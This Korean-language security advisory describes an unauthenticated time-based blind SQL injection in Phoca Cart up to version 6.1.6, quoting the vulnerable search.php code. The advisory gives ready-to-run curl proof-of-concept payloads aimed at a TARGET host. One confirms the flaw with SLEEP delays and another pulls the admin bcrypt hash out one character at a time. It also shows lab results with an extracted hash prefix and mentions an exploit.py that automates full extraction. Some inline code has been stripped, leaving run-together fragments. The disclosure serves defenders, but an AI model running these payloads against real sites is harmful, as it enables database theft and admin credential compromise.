
Phoca Cart의 속성 필터를 통한 인증되지 않은 SQL 인젝션 - CVSS 9.3
Phoca Cart ≤ 6.1.6 — 비인증 공격자가 시간 기반 블라인드 인젝션으로 전체 데이터베이스 추출
Phoca Cart의 공개 상점 아이템 페이지에서 a[](속성) 및 s[](사양) GET 배열 매개변수가 파라미터화나 이스케이프 없이 SQL WHERE 절에 원시 형태로 연결됩니다. 비인증 공격자는 이러한 매개변수를 통해 임의의 SQL을 주입할 수 있으며, 시간 기반 블라인드 기법으로 전체 데이터베이스를 추출할 수 있습니다.
취약점은 admin/libraries/phocacart/search/search.php 내부의 에 존재합니다. 이 함수는 목록을 구성하기 전에 를 호출하지만 결과 값을 이스케이프하지 않습니다. 따라서 쉼표가 없는 페이로드는 SQL 쿼리에 그대로 전달됩니다. 는 요청당 두 번 호출되므로( + ) 페이로드는 초의 관측 가능한 지연을 유발하여 타이밍 탐지를 매우 신뢰할 수 있게 만듭니다.
getSqlPartsArray()IN()explode(',', $v)getItemListQuery()getTotal()getItemList()SLEEP(N)2×N| 구성 요소 | 취약 버전 | 테스트 환경 | 수정 버전 |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
유형: SQL 인젝션 — 시간 기반 블라인드 (CWE-89)
인증 요구 사항: 없음 — 공개적으로 접근 가능한 엔드포인트
파일: admin/libraries/phocacart/search/search.php
아이템 모델은 HTTP 요청에서 a[] 및 s[] 매개변수를 정화(sanitization) 과정 없이 직접 읽습니다:
SITE/MODELS/ITEMS.PHP — 92–93행
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
이 값들은 getSqlPartsArray()로 전달되며, 이 함수는 각 값을 쉼표로 분할한 후 결과 조각을 SQL IN() 절에 직접 삽입합니다:
SEARCH.PHP — GETSQLPARTSARRAY() 318–363행 (취약)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
결과 SQL 조각은 기본 쿼리에 삽입됩니다:
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
filter.php의 getActiveFilterValues()는 표시 계층을 위해 a[]/s[] 값에 filterValue($item, 'alphanumeric')을 적용합니다. 그러나 getSqlPartsArray()는 동일한 매개변수를 $app->getInput()->get('a', '', 'array')에서 정화를 전혀 적용하지 않은 채 새로 읽어들이므로 표시 계층 보호를 완전히 우회합니다.
인증이 필요 없습니다. 아이템 뷰(/index.php?option=com_phocacart&view=items)는 공개적으로 접근 가능합니다. 상점에 속성이나 사양을 구성할 필요가 없습니다.
비인증 사용자는 자격 증명 없이 쇼핑 포털에 접근할 수 있습니다.

Burp Suite에서 캡처한 원시 요청 — 기준 응답 시간: 76ms.

a[])a[color] 매개변수를 통해 SLEEP(3) 페이로드가 주입됩니다. getItemListQuery()는 요청당 두 번 호출되므로 예상 지연은 2 × 3 = 6s입니다. 관측 결과: 7085ms — 확인됨.
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

SLEEP(3)을 SLEEP(0)으로 바꾸면 즉시 응답합니다(1064ms). 이를 통해 지연이 네트워크 상태가 아니라 주입된 SLEEP에 의한 것임을 확인할 수 있습니다.

관리자 bcrypt 해시를 한 번에 한 바이트씩 추출합니다. 중요한 제약 사항: explode(',', $v)는 SQL을 구성하기 전에 쉼표로 분할하므로, 페이로드는 쉼표 잘림을 피하기 위해 SUBSTRING(str FROM pos FOR len)(ANSI 키워드 구문)을 사용해야 하며, IF() 대신 CASE WHEN ... THEN ... ELSE ... END를 사용해야 합니다.
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"
랩 검증 — 관리자 bcrypt 해시의 처음 12자:
| 위치 | 문자 | ASCII | 응답 | 일치 |
|---|---|---|---|---|
| 1 | $ | 36 | >6s | ✓ |
| 2 | 2 | 50 | >6s | ✓ |
| 3 | y | 121 | >6s | ✓ |
| 4 | $ | 36 | >6s | ✓ |
| 5 | 1 | 49 | >6s | ✓ |
| 6 | 0 | 48 | >6s | ✓ |
| 7 | $ | 36 | >6s | ✓ |
| 8 | L | 76 | >6s | ✓ |
| 9 | N | 78 | >6s | ✓ |
| 10 | v | 118 | >6s | ✓ |
| 11 | t | 116 | >6s | ✓ |
| ... | ... | ... | >6s | ✓ |
추출된 접두어 $2y$10$LNvt... — 전체 60자 bcrypt 해시는 약 240회의 요청으로 복구할 수 있습니다.
포함된 exploit.py 스크립트는 위와 동일한 시간 기반 기법을 사용하여 수동 반복 없이 전체 관리자 비밀번호 해시를 자동으로 추출합니다.
python exploit.py http://TARGET

com_phocacart가 설치되어 있고 공개 프런트엔드가 있는 모든 사이트가 공격에 노출됩니다.INSERT / UPDATE / DELETE 문을 실행할 수 있습니다.